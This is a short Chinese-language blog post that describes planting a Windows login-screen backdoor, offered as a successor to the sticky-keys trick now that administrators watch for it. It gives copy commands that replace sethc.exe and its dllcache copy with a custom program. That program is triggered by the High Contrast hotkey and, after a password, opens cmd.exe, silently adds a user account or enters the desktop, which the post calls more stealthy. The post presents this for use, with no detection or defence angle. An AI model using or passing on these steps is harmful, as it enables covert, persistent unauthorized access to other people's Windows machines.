king

windows中可以留的新的系统后门

king 安全防护 2023-01-19 432浏览 0

鉴于shift后门已经被管理员开始注意,写出本程序,利用的是高对比这个可以远程调用的辅助工具。 左Alt+左Shift+PrintScreen(截屏键,一般位于键盘右上) 。设本程序为ade.exe则运行以下命令即可 copy %systemroot%\system32\sethc.exe %systemroot%\system32\sethc.exe.exe copy ade.exe %systemroot%\system32\sethc.exe copy ade.exe %systemroot%\system32\dllcache\sethc.exe pause 注:左alt+左shift+PrintScreen,输入你设定的后门启动密码,

可执行 cmd.exe和程序自己添加自定义用户(调用API防止cmd.exe被禁用)也可以直接不添加用户,而进入系统桌面,隐蔽性更高。

继续浏览有关 安全 的文章
发表评论